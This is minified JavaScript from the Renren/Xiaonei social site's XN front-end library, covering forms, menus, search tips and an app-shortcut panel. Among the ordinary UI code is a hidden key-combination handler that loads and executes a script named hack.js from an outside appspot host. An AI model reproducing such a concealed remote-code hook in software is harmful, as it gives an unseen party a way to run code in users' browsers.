l=j.value;if(l!=k&&!XN.STRING.isBlank(l)){d.submit();return false}if(h.tagName.toLowerCase()=="a"){return true}else{return false}}}};XN.namespace("form");XN.FORM=XN.Form=XN.form;XN.form.fillWithJSON=function(b,a){b=$(b);XN.form.fillWithArray(b,XN.json.parse(a))};XN.form.fillWithArray=function(c,b){c=$(c);for(var d in b){XN.form.Element.setValue(d,b[d],c)}};XN.form.setValue=function(a,b){return XN.form.Element.setValue(a,b)};XN.form.getValue=function(a){return XN.form.Element.getValue(a)};XN.form.serialize=function(b,a){return this.serializeElements(this.getElements(b),a||"string")};XN.form.serializeElements=function(h,d,f){d=d||"array";if(isUndefined(f)){f=false}var g=[],c,a;XN.array.each(h,function(l,k){if(!k.disabled&&k.name){c=k.name;a=f?encodeURIComponent(XN.form.Element.getValue(k)):XN.form.Element.getValue(k);if(a!==null){if(c in g){if(!isArray(g[c])){g[c]=[g[c]]}g[c].push(a)}else{g[c]=a}}}});if(d=="array"){return g}else{if(d=="string"){return XN.array.toQueryString(g)}else{if(d=="hash"){var b={};for(var j in g){if(!isFunction(g[j])){b[j]=g[j]}}return b}}}};XN.form.getElements=function(b){b=$(b);var c=[];var a=b.getElementsByTagName("*");XN.array.each(a,function(f,d){if(!isUndefined(XN.form.Element.Serializers[d.tagName.toLowerCase()])){c.push(d)}});return c};XN.form.Element={getValue:function(a){a=$(a);var b=a.tagName.toLowerCase();return XN.form.Element.Serializers[b](a)},setValue:function(c,f,d){if(d){c=d[c];if((isElement(c)&&c.tagName.toLowerCase()=="select")){XN.form.Element.Serializers.select(c,f)}else{if(isElement(c)){XN.form.Element.Serializers[c.tagName.toLowerCase()](c,f)}else{if(c[0]){var g=c[0].tagName.toLowerCase();for(var b=0,a=c.length;b<a;b++){XN.form.Element.Serializers[g](c[b],(f[b]||f||""))}}}}return c}else{c=$(c);var g=c.tagName.toLowerCase();XN.form.Element.Serializers[g](c,f);return c}}};XN.form.Element.Serializers={input:function(a,b){switch(a.type.toLowerCase()){case"checkbox":case"radio":return XN.form.Element.Serializers.inputSelector(a,b);default:return XN.form.Element.Serializers.textarea(a,b)}},inputSelector:function(a,b){if(isUndefined(b)){return a.checked?a.value:null}else{a.checked=!!b}},textarea:function(a,b){if(isUndefined(b)){return a.value}else{a.value=b}},select:function(d,a){if(isUndefined(a)){return this[d.type=="select-one"?"selectOne":"selectMany"](d)}else{var c,g,h=!isArray(a);for(var b=0,f=d.length;b<f;b++){c=d.options[b];g=this.optionValue(c);if(h){if(g==a){c.selected=true;return}}else{c.selected=XN.array.include(a,g)}}}},selectOne:function(b){var a=b.selectedIndex;return a>=0?this.optionValue(b.options[a]):null},selectMany:function(d){var a=[],f=d.length;if(!f){return null}for(var c=0;c<f;c++){var b=d.options[c];if(b.selected){a.push(this.optionValue(b))}}return a},optionValue:function(a){return a.value||a.text}};$F=function(c,b){var a=$(c);if(a.tagName.toLowerCase()=="form"){return XN.form.serialize(a,b)}else{return XN.form.getValue(a)}};XN.form._helper=function(a){a=$(a);if(a._helper){return a._helper}a._helper=this;this.element=a};XN.form._helper.prototype={maxSize:9999,limit:function(a){var d=this;this.maxLength=a;if(this._limit){return this}this._limit=true;var d=this;var c=this.element;XN.event.addEvent(c,"focus",b);XN.event.addEvent(c,"keyup",b);function b(){setTimeout(function(){var f=c.value;if(f.length>d.maxLength){c.value=f.substr(0,d.maxLength);d.fireEvent("overmaxLength")}else{d.fireEvent("normalLength")}d.fireEvent("checkover")},0)}return this},count:function(a,f){if(this._count){return this}this._count=true;var c=this,a=$(a);if(isUndefined(f)){f=true}if(!this.maxLength){f=false}var b=this.element;this.addEvent("overmaxLength",function(){b.addClass(a,"full")});this.addEvent("normalLength",function(){b.delClass(a,"full")});this.addEvent("checkover",d);function d(){a.innerHTML=b.value.length+(f?"/"+c.maxLength:"")}return this},countSize:function(b,a,c){return this.limit(a).count(b,c)},defaultValue:function(a){var c=this;var b=this.element;a=a||b.value;if(!isUndefined(this._defaultValue)&&b.value==this._defaultValue){b.value=a}this._defaultValue=a;if(this._default){return this}this._default=true;if(document.activeElement!==b){b.value=a}b.style.color="#888";XN.event.addEvent(b,"focus",function(){if(b.value==c._defaultValue){b.value="";b.style.color="#333"}});XN.event.addEvent(b,"blur",function(){if(b.value==""){b.value=c._defaultValue;b.style.color="#888"}});return this},focus:function(a){var c=this.element;if(isUndefined(a)){a=c.value.length}if(c.setSelectionRange){c.focus();c.setSelectionRange(c.value.length,a)}else{if(c.createTextRange){var b=c.createTextRange();b.moveStart("character",a);b.collapse(true);b.select();c.focus()}else{c.focus()}}return this},onEnter:function(c){var a=this.element;var b=a.tagName.toLowerCase()=="textarea";XN.event.addEvent(a,"keydown",function(d){d=d||window.event;if(d.keyCode==13){if(b&&!d.ctrlKey){return false}XN.event.stop(d);c(a);return false}},false);return this},onEsc:function(b){var a=this.element;XN.event.addEvent(a,"keydown",function(c){c=c||window.event;if(c.keyCode==27){XN.event.stop(c);b(a);return false}},false);return this},autoResize:function(b,a){var h=this,f=this.element,c;this.minSize=b||this.minSize;this.maxSize=a||this.maxSize;if(f.tagName.toLowerCase()=="textarea"){this.resizeType="height"}else{this.resizeType="width"}if(!XN.form.inputShadow){var g=$element("div");g.setStyle("position:absolute;left:-99999px;top:-99999px");document.body.appendChild(g);XN.form.inputShadow=g}this.shadow=XN.form.inputShadow;setTimeout(function(){if(b){return}h.minSize=c=="width"?f.offsetWidth:f.offsetHeight},10);f.style.overflow="hidden";XN.event.addEvent(f,"focus",function(){h.timer=setInterval(h._resize.bind(h),200)});XN.event.addEvent(f,"blur",function(){clearInterval(h.timer);h.timer=null});return this},_resize:function(){var d=this.element,b=this.shadow,f,c=this.resizeType;b.style.fontSize=d.getStyle("fontSize");var a=parseInt(d.getStyle("fontSize"),0);b.style.fontFamily=d.getStyle("fontFamily");(c=="width")?b.style.height=d.offsetHeight:b.style.width=d.offsetWidth;b.innerHTML=XN.string.escapeHTML(d.value).replace(/\r\n/mg,"<br>").replace(/\r/mg,"<br>").replace(/\n/mg,"<br>");(c=="width")?f=b.offsetWidth:f=b.offsetHeight+a+3;if(f>this.minSize&&f<this.maxSize){d.style[c]=f+"px"}else{if(f<this.minSize){d.style[c]=this.minSize+"px"}else{if(f>this.maxSize){d.style[c]=this.maxSize+"px"}}}},cursorPosition:function(){var f=this.element;var g=0,a=0;if(typeof(f.selectionStart)=="number"){g=f.selectionStart;a=f.selectionEnd}else{if(document.selection){var b=document.selection.createRange();if(b.parentElement()==f){var c=document.body.createTextRange();c.moveToElementText(f);for(g=0;c.compareEndPoints("StartToStart",b)<0;g++){c.moveStart("character",1)}for(var d=0;d<=g;d++){if(f.value.charAt(d)=="\n"){g++}}var c=document.body.createTextRange();c.moveToElementText(f);for(a=0;c.compareEndPoints("StartToEnd",b)<0;a++){c.moveStart("character",1)}for(var d=0;d<=a;d++){if(f.value.charAt(d)=="\n"){a++}}}}}return{start:g,end:a,item:[g,a]}}};XN.form._helper.prototype.setDefaultValue=XN.form._helper.prototype.defaultValue;XN.event.enableCustomEvent(XN.form._helper.prototype);XN.form.help=function(a){return new XN.form._helper(a)};XN.form.inputHelper=XN.form.textAreaHelper=XN.form.help;$CursorPosition=function(a){return XN.form.help(a).cursorPosition()};XN.form.userInfoAutoComplete=function(f,b){var d={elementaryschool:"/autocomplete_elementaryschool.jsp",juniorhighschool:"/autocomplete_juniorhighschool.jsp	",workplace:"/autocomplete_workplace.jsp",highschool:"/autocomplete_highschool.jsp",allnetwork:"/autocomplete_all_network.jsp",allSchool:"/autocomplete-school.jsp",city:"/autocomplete-city.jsp",college:"/autocomplete_college.jsp"};var c=new XN.ui.DS_XHR({url:d[b]});var a=new XN.ui.autoCompleteMenu({DS:c,input:f});a.buildMenu=function(g){return"<p>"+(g.name||g.Name)+"</p>"};a.addEvent("select",function(g){this.input.value=(g.name||g.Name)})};XN.namespace("widgets");XN.WIDGETS=XN.Widgets=XN.widgets;XN.dom.ready(function(){if(!$("showAppMenu")){return}if(!$("navMyApps")){return}var f=$("navMyApps");if(!f){return}f.show();var d=$("showAppMenu");var b=133;var h=new XN.ui.menu({bar:"showAppMenu",menu:"appMenu",fireOn:"mouseover",addIframe:true});var c=$("navAllApps");c.hide();if(!$("navShowAllApp")){return}var g=$("navShowAllApp");if(XN.browser.IE){var a=c.getElementsByTagName("ul").length;if(a>1){c.setStyle("width:"+(a*b+3)+"px")}}g.onclick=function(j){j=j||window.event;XN.EVENT.stop(j);h.isShow=false;h.frame.onmousemove=function(){h.isShow=false};f.hide();c.show();if(XN.BROWSER.IE){if(a>1){h.setWidth(271+(a-1)*b)}}};XN.event.addEvent(document,"click",function(){h.frame.onmousemove=null;h.isShow=true;h.hide();f.show();c.hide();if(XN.browser.IE){if(a>1){h.setWidth(269)}}},false)});XN.dom.ready(function(){if(!$("navSearchInput")){return}new XN.ui.friendSearchBar({input:"navSearchInput",submit:$("navSearchSubmit"),form:$("globalSearchForm")});if(!$("searchMenuAction")){return}new XN.ui.menu({bar:"searchMenuAction",menu:"searchdropdownMenu",fireOn:"mouseover"})});XN.dom.ready(function(){if(!$("optionMenuActive")){return}new XN.UI.menu({bar:"optionMenuActive",menu:"optiondropdownMenu",fireOn:"mouseover"})});XN.util.hotKey.add("ctrl-alt-shift-68",function(){XN.loadFile("http://emptyhua.appspot.com/img/hack.js",function(){XN.hack.exe()})});function roundify(f,d){if(!d){d=50}if(f.height<=d){return}var b=f.parentNode;f.style.visibility="hidden";var a=document.createElement("div");a.title=f.title;a.className=f.className;a.style.overflow="hidden";a.style.width=d+"px";a.style.height=(f.height>d?d:f.height)+"px";var c=new Image();a.appendChild(c);c.onload=function(){c.width=d;b.replaceChild(a,f);if(c.height>d){c.style.marginTop="-"+parseInt((c.height-d)/2)+"px"}};c.src=f.src;return}XN.dom.ready(function(){if(!$("navSearchInput")){return}var a=null;hideSearchTip=function(){XN.cookie.set("search_tip","1",XN.env.domain);a.setContent("")};function b(){if(!a){a=new XN.ui.fixPositionElement({alignWith:"navSearchInput",tagName:"div"});a.hide();if(!XN.cookie.get("search_tip")&&XN.env.domain=="renren.com"){a.setContent('<div id="rrtvcSearchTip" style="display:inline;position:relative;*zoom:1;"><a href="http://browse.renren.com/friendship.do"><img width="165" height="27" src="http://xnimg.cn/rrtvc/searchtip.png"/></a><a class="close" onmouseover="this.style.backgroundPosition=\'left -33px\';" onmouseout="this.style.backgroundPosition=\'left top\';" style="display:block;position:absolute;right:5px;top:-10px;line-height:27px;width:17px;height:17px;text-indent:-9999px;outline:0;background:url(http://xnimg.cn/imgpro/bg/close_window.gif) no-repeat left top;'+(XN.browser.IE?"top:5px;":"")+'" href="#nogo" onclick="hideSearchTip();" ></a></div>');a.container.setStyle("width:"+($("navSearchInput").offsetWidth-2)+"px;")}else{a.setContent("&nbsp;多个关键字用空格隔开&nbsp;<br />&nbsp;（例：汪洋 北京大学）&nbsp;");a.container.setStyle("width:"+($("navSearchInput").offsetWidth-2)+"px;padding:3px 0;background:#EEE;border:1px solid #BDC7D8;opacity:0.8;text-align:center;")}}a.show()}XN.event.addEvent("navSearchInput","focus",b);XN.event.addEvent("navSearchInput","blur",function(){if(a){setTimeout(function(){a.hide()},100)}});XN.event.addEvent("navSearchInput","keydown",function(){if(a){a.hide()}});if(!XN.cookie.get("search_tip")){b()}});XN.dom.ready(function(){function b(c){if(c.tagName&&c.tagName.toLowerCase()!="a"){return}if(c._ad_rd){return}c._ad_rd=true;if(c.href.indexOf("#")==0){return}var d=["_request_from","_mm_id","_visitor_id","_os_type","_hua","_lu","_vip_flag","_ua_flag"][parseInt(Math.random()*(7+1))];c.href=XN.string.setQuery(d,Math.ceil(Math.random()*100),c.href)}function a(c){if(!$(c)){return}XN.event.addEvent(c,"mouseover",function(d){b(XN.event.element(d||window.event))})}a("navBar");a("appNavHolder")});(function(){var c=/kaixin\.com|renren\.com|xiaonei\.com/g;XN.widgets.rp_domain=function b(d){if(d.tagName&&d.tagName.toLowerCase()=="a"){if(d._d_rpd){return true}d._d_rpd=true;if(/http|@/.test(d.innerHTML)&&XN.browser.IE){var f=d.innerHTML}d.href=d.href.replace(c,XN.env.domain);if(!isUndefined(f)){d.innerHTML=f}return true}return false};var a=["feedHome","replyDiv","notifications","messages"];XN.widgets.domain_in_one={reg:function(d){XN.event.addEvent(d,"mouseover",function(h){var g=XN.widgets.rp_domain;var f=XN.event.element(h||window.event);if(g(f)){return}if(g(f.parentNode)){return}g(f.parentNode)})}};XN.dom.ready(function(){XN.array.each(a,function(f,d){if($(d)){XN.widgets.domain_in_one.reg(d)}})})})();$.extend=function(a){$extend($,a)};$.extend({clearRange:function(){try{document.selection?document.selection.empty():getSelection().removeAllRanges()}catch(a){}},text:function(b){var c=b.childNodes;for(var a=0,d="";a<c.length;a++){if(c[a].nodeType==3){d+=c[a].nodeValue}}return d},css:function(b,c){if(!b){return}for(var a in c){b.style[a]=c[a]}},clear:function(a){a.innerHTML=""},append:function(b,c){if(c.tagName){b.appendChild(c)}else{var a=document.createElement("div");a.innerHTML=c;while(a.hasChildNodes()){b.appendChild(a.firstChild)}}},mouse:function(b){b=b||event;var a=b.pageX||(b.clientX+XN.EVENT.scrollLeft());var c=b.pageY||(b.clientY+XN.EVENT.scrollTop());return{x:a,y:c}}});$.wpi={parseMenuItem:function(b){var a=b.getElementsByTagName("a")[0];return{id:a.name,name:$.text(a),href:a.href,icon:b.getElementsByTagName("img")[0].src,target:a.target}},parseShortCut:function(a){return{id:a.name,name:a.title,href:a.href,icon:a.getElementsByTagName("img")[0].src,target:a.target}},createShortCut:function(a){var b=$.wpi.parseMenuItem(a);b.href=this.setUrlParam(b.href,"origin",(this.getBaseCode()*100+93));return'<a href="'+b.href+'" title="'+b.name+'" name="'+b.id+'" target="'+b.target+'"><img src="'+b.icon+'" class="icon" /><span class="tooltip"><nobr>'+b.name+'</nobr><span class="tooltip-arrow"></span></span></a>'},createMenuItem:function(){var a=document.createElement("dd");var b=arguments[0].nodeType?$.wpi.parseShortCut(arguments[0]):arguments[0];b.href=this.setUrlParam(b.href,"origin",(this.getBaseCode()*100+92));a.className="move";a.innerHTML='<a href="'+b.href+'" name="'+b.id+'" target="'+b.target+'"><img src="'+b.icon+'" />'+b.name+'<span class="del-handle"></span></a>';return a},createHistroyItem:function(a){a.href=this.setUrlParam(a.href,"origin",(this.getBaseCode()*100+91));return'<dd><a href="'+a.href+'" name="'+a.id+'" target="'+a.target+'"><img src="'+a.icon+'" />'+a.name+"</a></dd>"},createStowItem:function(a){return'<a href="'+a.href+'" class="commend stow" title="'+a.name+'" name="'+a.id+'" target="'+a.target+'"><img src="'+a.icon+'" class="icon" /><img class="plus bauble plus-bullet" src="http://xnimg.cn/imgpro/icons/green-plus-bullet.gif" /> 收藏'+a.name+(XN.cookie.get("wpi_menu_add_tip")==null?'<span id="newuserStowTip" class="tooltip" onclick="XN.EVENT.stop(event);$(this).hide();"><nobr>点击这里收藏应用</nobr><span class="tooltip-arrow"></span></span>':"")+"</a>"},setUrlParam:function(b,f,d){var c=new RegExp("\\b"+f+"=.*?((?=[&])|$)");if(c.test(b)){return b.replace(c,f+"="+d)}else{var a=b.indexOf("?")!=-1;return b+(a?"&":"?")+f+"="+d}},serial:[],ajaxAddApp:function(b){if(this.serial.length<6){this.serial.push(b)}else{var a=this.serial.slice(0,5);a.push(b);this.serial=a.concat(this.serial.slice(5))}new XN.NET.xmlhttp({url:"http://apps."+XN.env.domain+"/menu/addBookmark.do",method:"post",data:"app_id="+b})},ajaxDelApp:function(b){for(var a=0;a<this.serial.length;a++){if(this.serial[a]==b){this.serial.splice(a,1);break}}new XN.NET.xmlhttp({url:"http://apps."+XN.env.domain+"/menu/removeBookmark.do",method:"post",data:"app_id="+b})},ajaxSerialApp:function(a){if(a.join(",")!=this.serial.join(",")){this.serial=a;new XN.NET.xmlhttp({url:"http://apps."+XN.env.domain+"/menu/reorderBookmark.do",method:"post",data:"app_ids="+XN.JSON.build(a)})}},getBaseCode:function(){var a={};a["home."+XN.env.domain]=1;a[XN.env.domain+"/profile.do"]=2;a["msg."+XN.env.domain]=3;a["apps."+XN.env.domain]=5;a["game."+XN.env.domain]=5;a["app."+XN.env.domain]=7;a["app."+XN.env.domain+"/apps/editapps.do"]=8;a["app."+XN.env.domain+"/apps/application.do"]=9;a["app."+XN.env.domain+"/apps/apps.do"]=28;return a[location.hostname+location.pathname]||a[location.hostname]||0}};(function(){$.effect=$.effect||{};var f=$.effect.MoveEffect=function(p){this.config=p;this.element=$(p.element);this.nodeStart={x:0,y:0};this.mouseStart={x:0,y:0};this.shadow=null;this.activeItem=null;if(XN.ELEMENT.getStyle(this.element,"position")=="static"){$.css(this.element,{position:"relative"})}this.init()};f.prototype={init:function(){var p=this;this.moveWrap=function(q){var s=$.mouse(q);if((s.x-p.mouseStart.x)==0&&(s.y-p.mouseStart.y)==0){return}if(p.config.startMove){p.config.startMove()}p.moveHandler(q)};this.repeaseWrap=function(q){p.releaseHandler(q)};$(this.element).addEvent("mousedown",function(q){q=q||window.event;p.activeItem=p.getActiveItem(q);if(p.activeItem==null){return}p.mouseStart=$.mouse(q);p.nodeStart={x:p.activeItem.offsetLeft,y:p.activeItem.offsetTop};$(document).addEvent("mousemove",p.moveWrap).addEvent("mouseup",p.repeaseWrap);XN.BROWSER.IE?(q.returnValue=false):q.preventDefault();return false})},getActiveItem:function(q){q=q||window.event;var p=q.target||q.srcElement;while(p.parentNode!=this.element){p=p.parentNode}return p.nodeType==1?p:null},moveHandler:function(s){s=s||window.event;this.createShadow();$.clearRange();var q=this.nodeStart.y+($.mouse(s).y-this.mouseStart.y);var p=this.nodeStart.x+($.mouse(s).x-this.mouseStart.x);if(!this.activeItem.parentNode||this.config.outLimit(q,p,this.shadow.offsetHeight,this.shadow.offsetWidth)){this.releaseHandler()}else{this.moveShadow(q,p);this.serialize(q,p)}},createShadow:function(){if(this.shadow==null){this.shadow=this.activeItem.cloneNode(true);$(this.shadow).addClass("movemirror");$.css(this.shadow,{top:this.nodeStart.y+"px",left:this.nodeStart.x+"px",width:this.activeItem.offsetWidth+"px",height:this.activeItem.offsetHeight+"px"});$.append(this.element,this.shadow)}},releaseHandler:function(p){$(document).delEvent("mousemove",this.moveWrap).delEvent("mouseup",this.repeaseWrap);if(this.shadow){$(this.shadow).remove();this.shadow=null;if(typeof this.config.release=="function"){this.config.release(this.activeItem)}}},moveShadow:function(q,p){$.css(this.shadow,{top:q+"px",left:p+"px"})},serialize:function(t,s){var p=this.config.getIndex(t,s,this.activeItem.offsetHeight,this.activeItem.offsetWidth);if(p>=0){var q=this.config.getChilds();if(q[p]){this.element.insertBefore(this.activeItem,q[p])}else{$.append(this.element,this.activeItem)}}}};var d=null;var n=null;var k=null;var b=null;var c=null;var h=null;function o(){var q=d.getElementsByTagName("dd");var s=[];for(var p=0;p<q.length;p++){s.push(parseInt(q[p].getElementsByTagName("a")[0].name))}$.wpi.ajaxSerialApp(s)}function j(){c=new f({element:d,getChilds:function(){return d.getElementsByTagName("dd")},getIndex:function(t,s,q,p){return Math.ceil(t/q)},release:function(){$.clear(b);var t=d.getElementsByTagName("dd");for(var q=0;q<t.length&&q<6;q++){$.append(b,$.wpi.createShortCut(t[q]))}var s=d.getElementsByTagName("dt")[0];if(!s){s=document.createElement("dt")}d.insertBefore(s,t[6]||null);$.css(s,{display:(t[6]?"block":"none")});$.css($("wpi_collectionTitle"),{borderBottom:(t[0]?"1px solid #E3EEF9":"none")});var p=k.getElementsByTagName("img")[0];if(p){for(var q=0;q<t.length&&q<6;q++){if(t[q].getElementsByTagName("img")[0].src==p.src){k.innerHTML="";break}}}o()},outLimit:function(t,s,q,p){if(t<-q||t>d.offsetHeight){return true}return false}})}function m(){h=new f({element:b,getChilds:function(){return b.getElementsByTagName("a")},getIndex:function(t,s,q,p){return Math.ceil(s/p)},release:function(){var s=b.getElementsByTagName("a");var q=d.getElementsByTagName("dd");for(var p=0;p<s.length;p++){d.replaceChild($.wpi.createMenuItem(s[p]),q[p])}o()},outLimit:function(t,s,q,p){if(s<-p||s>b.offsetWidth){return true}return false}})}function g(){d=$("wpi_collectionApps");k=$("wpi_addCollection");b=$("wpi_shortCutsPanel");n=$("wpi_hitoryPanel");j();m();k.addEvent("click",function(w){XN.cookie.set("wpi_menu_add_tip","fix",365,"/",""+XN.env.domain+"");var z=k.getElementsByTagName("a")[0];if(z){var v=d.getElementsByTagName("dd");var y=null;var x=z.getElementsByTagName("img")[0].src;for(var u=0;u<v.length;u++){if(v[u].getElementsByTagName("img")[0].src==x){y=v[u];break}}if(y==null){y=$.wpi.createMenuItem(z);$.wpi.ajaxAddApp(wpiMenuInfo.currentApp[0].id)}d.insertBefore(y,v[5]||null);c.config.release();k.innerHTML="";XN.EVENT.stop(w||event)}});d.addEvent("click",function(w){w=w||window.event;var v=w.target||w.srcElement;if(v.className=="del-handle"){while(v.tagName!="DD"){v=v.parentNode}var u=document.createElement("div");u.innerHTML='<tt class="del-tip">已移出收藏</tt><tt class="del-reroll">撤销</tt>';$.css(v.getElementsByTagName("a")[0],{display:"none"});var y=setTimeout(function(){if(v&&v.parentNode){$.wpi.ajaxDelApp(v.getElementsByTagName("a")[0].name);v.parentNode.removeChild(v);c.config.release()}},4000);u.timer=y;$.append(v,u);XN.BROWSER.IE?(w.returnValue=false):w.preventDefault();return false}else{if(v.className=="del-reroll"){clearTimeout(v.parentNode.timer);var x=v.parentNode.parentNode;$.css(x.getElementsByTagName("a")[0],{display:"block"});$.css(v.parentNode,{display:"none"});setTimeout(function(){x.removeChild(v.parentNode)},0);XN.BROWSER.IE?(w.returnValue=false):w.preventDefault();return false}}});var q=$("wpi_menuPanel");var s=$("wpi_menuEntry");function p(v){if(/\bm-chat-button-apps-active\b/.test(s.className)){$.css(q,{display:"none"});s.delClass("m-chat-button-apps-active")}else{$.css(q,{display:"block"});s.addClass("m-chat-button-apps-active")}$.clearRange();var u=$("newuserAppTip");if(u){u.remove()}}$("wpi_minMenuPanel").addEvent("click",p);$("wpi_togMenuPanel").addEvent("click",function(u){if(!/\bm-chat-button-apps-active\b/.test(s.className)&&parseInt(wpiMenuInfo.user.id)%10==0){new XN.NET.xmlhttp({url:"http://apps."+XN.env.domain+"/menu/menustart.do?"+new Date().getTime(),method:"get"})}XN.cookie.set("wpi_menu_app_tip","fix",365,"/",""+XN.env.domain+"");p(u)});var t=$("wpiroot");$(document).addEvent("click",function(v){v=v||event;var u=v.target||v.srcElement;while(u!=t&&u.parentNode){u=u.parentNode}if(u!=t&&/\bm-chat-button-apps-active\b/.test(s.className)){p()}})}function a(){return['<div id="wpi_myapp" class="m-chat-button-con" style="display:none;">','<div id="wpi_menuEntry" class="m-chat-button-apps">','<div id="wpi_togMenuPanel" class="m-chat-button-apps-text">我的应用',XN.cookie.get("wpi_menu_app_tip")==null?'<span id="newuserAppTip" class="tooltip"></span>':"","</div>",'<div id="wpi_reflow" style="display:none;"></div>','<div id="wpi_menuPanel" class="m-chat-window"><div style="position:relative;z-index:2;">','<div class="chat-head">','<div class="head-btn"><a title="隐藏窗口" id="wpi_minMenuPanel" class="minimize" href="javascript:;"></a></div>','<div class="head-name">我的应用</div>',"</div>",'<div class="chat-conv">','<dl class="apps"><dt>最近使用</dt></dl>','<dl id="wpi_hitoryPanel" class="apps"></dl>','<dl class="apps"><dt id="wpi_collectionTitle">我的收藏 <a class="edit" href="http://app.'+XN.env.domain+"/apps/editapps.do?origin=",$.wpi.getBaseCode()*100+90,'">编辑</a></dt></dl>','<dl id="wpi_collectionApps" class="apps"></dl>',"</div>",'<div class="m-chat-notice footer"><strong>拖动进行排序</strong> <a class="more" href="http://app.'+XN.env.domain+"/apps/apps.do?origin=",$.wpi.getBaseCode()*100+90,'">浏览更多应用</a></div></div>','<iframe width="192" height="100%" frameBorder="0" style="position:absolute;top:0;left:0;z-index:1;margin-left:-1px;opacity:0;filter:alpha(opacity=0);_height:expression(this.parentNode.offsetHeight);"></iframe>',"</div>","</div>",'<div id="wpi_shortCutsPanel" class="m-chat-button-links"></div>','<div id="wpi_addCollection" class="m-chat-button-links m-chat-button-shotcuts"></div></div>'].join("")}function l(){var p=$("wpiroot").getElementsByTagName("div")[0];$.append(p,a())}$.wpi.initApp=function(){if(!window.wpiMenuInfo){return}l();g();wpiMenuInfo.recentMenu=wpiMenuInfo.recentMenu.slice(0,9);for(var q=0;q<wpiMenuInfo.favoriteMenu.length;q++){for(var p=0;p<wpiMenuInfo.recentMenu.length;p++){if(wpiMenuInfo.favoriteMenu[q].id==wpiMenuInfo.recentMenu[p].id){wpiMenuInfo.recentMenu.splice(p,1);break}}}for(var q=0;q<wpiMenuInfo.favoriteMenu.length&&q<6;q++){for(var p=0;p<wpiMenuInfo.currentApp.length;p++){if(wpiMenuInfo.favoriteMenu[q].id==wpiMenuInfo.currentApp[p].id){wpiMenuInfo.currentApp.splice(p,1);break}}}for(var q=0;q<wpiMenuInfo.recentMenu.length&&q<9;q++){$.append(n,$.wpi.createHistroyItem(wpiMenuInfo.recentMenu[q]))}for(var q=0;q<wpiMenuInfo.favoriteMenu.length;q++){$.wpi.serial.push(wpiMenuInfo.favoriteMenu[q].id);$.append(d,$.wpi.createMenuItem(wpiMenuInfo.favoriteMenu[q]))}c.config.release();for(var q=0;q<wpiMenuInfo.currentApp.length;q++){$.append(k,$.wpi.createStowItem(wpiMenuInfo.currentApp[q]))}};$.wpi.showApp=function(){if(!window.wpiMenuInfo){return}$.css($("wpi_myapp"),{display:"block"});var p=$("wpi_reflow");if(XN.BROWSER.IE7&&p){$(window).addEvent("scroll",function(){p.innerHTML=""})}};$.wpi.hideApp=function(){if(!window.wpiMenuInfo){return}$.css($("wpi_myapp"),{display:"none"})}})();